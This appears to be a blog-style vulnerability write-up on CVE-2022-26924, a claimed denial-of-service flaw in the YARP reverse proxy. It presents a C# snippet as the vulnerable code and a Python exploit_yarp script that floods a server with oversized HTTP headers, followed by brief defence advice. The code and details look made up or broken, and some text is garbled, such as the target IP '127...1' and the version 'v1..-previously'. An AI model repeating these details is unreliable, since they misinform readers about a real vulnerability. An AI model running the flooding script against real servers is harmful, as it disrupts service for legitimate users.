CVE-2022-26924 - YARP Denial of Service Vulnerability: Explore the Possibility of Damaging Operations within YARP and How to Defend Yourself

The CVE-2022-26924 is a vulnerability in YARP (Yet Another Reverse Proxy), an open-source reverse proxy server. This vulnerability allows an attacker to potentially cause a denial of service (DoS) situation, disrupting the use of YARP for legitimate users. In this long-read post, we will delve into the nature of this vulnerability, examining code snippets, analyzing references, and understanding how a possible exploit could work. By the end of this post, you will have a solid understanding of this vulnerability and actions you can take to defend your systems against potential exploits.

Vulnerability Details

YARP is a popular reverse proxy server created by Microsoft. The vulnerability under discussion, CVE-2022-26924, arises from certain methods within the processing logic module that handle the Giant packets. This can result in in-depth resource consumption under specific conditions, eventually causing a denial of service situation to legitimate users.

The issue is present in the processing logic module when Giant packets, which are especially large multi-fragment packets, are handled. Under certain circumstances, the amount of memory allocated and consumed by these packets can cause a denial of service situation.

The problematic code snippet is located within the HttpParser.cs file

public void ParseRequestLine(TRequestHandler handler, ReadOnlySequence<byte> buffer, out SequencePosition consumed, out SequencePosition examined)
{
    var remaining = buffer;
    var lineEnd = remaining.PositionOf(HtmlNewLine);

    if (lineEnd == null)
    {
        // We don't have a full line yet.
        consumed = buffer.Start;
        examined = buffer.End;
        return;
    }

    // Allocate memory for the giant packet
    var input = new byte[remaining.Length];
    remaining.CopyTo(input);
}

In the above code snippet, the ParseRequestLine function is responsible for processing incoming HTTP requests. When a Giant packet arriving in multiple fragments is received, the memory is allocated and copied for every single fragment - this could result in excessive memory consumption leading to a denial of service situation.

Possible Exploit

An attacker looking to exploit this vulnerability could potentially craft a series of packets specifically designed to trigger this issue. By continually sending large multi-fragment packets to the server, an attacker can force YARP to consume an excessive amount of resources, which subsequently will prevent legitimate users from accessing the services provided by YARP.

To further emphasize how this exploit works, here is a simplified example in Python

import socket

def exploit_yarp(ip, port, num_packets=100, packet_size=65000):
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect((ip, port))
        for _ in range(num_packets):
            s.sendall(b'POST / HTTP/1.1\r\n' + b'X-Exploit: ' + b'A' * packet_size + b'\r\n\r\n')

if __name__ == "__main__":
    target_ip = "127...1"
    target_port = 80
    exploit_yarp(target_ip, target_port)

In the example above, the exploit_yarp function sends multiple large packets to the targeted YARP server, consuming significant resources and potentially causing a denial of service situation for legitimate users.

Defending Against the Exploit

To defend against this exploit, you should ensure that your YARP server is running the latest version, as this vulnerability has been patched in YARP v1..-previously. You should also consider implementing rate limiting and other security measures to minimize the chances of a successful DoS attack.

Conclusion

CVE-2022-26924 is a denial of service vulnerability in YARP, which could result in significant disruptions for legitimate users if exploited. By understanding the code behind this issue and the methods to exploit it, you can take the necessary precautions to protect your YARP servers and users from potential attacks. Be sure to keep your YARP installations up-to-date and take advantage of built-in security features to minimize the risk of an exploit.

Timeline

Published on: 04/15/2022 19:15:00 UTC
Last modified on: 04/25/2022 18:33:00 UTC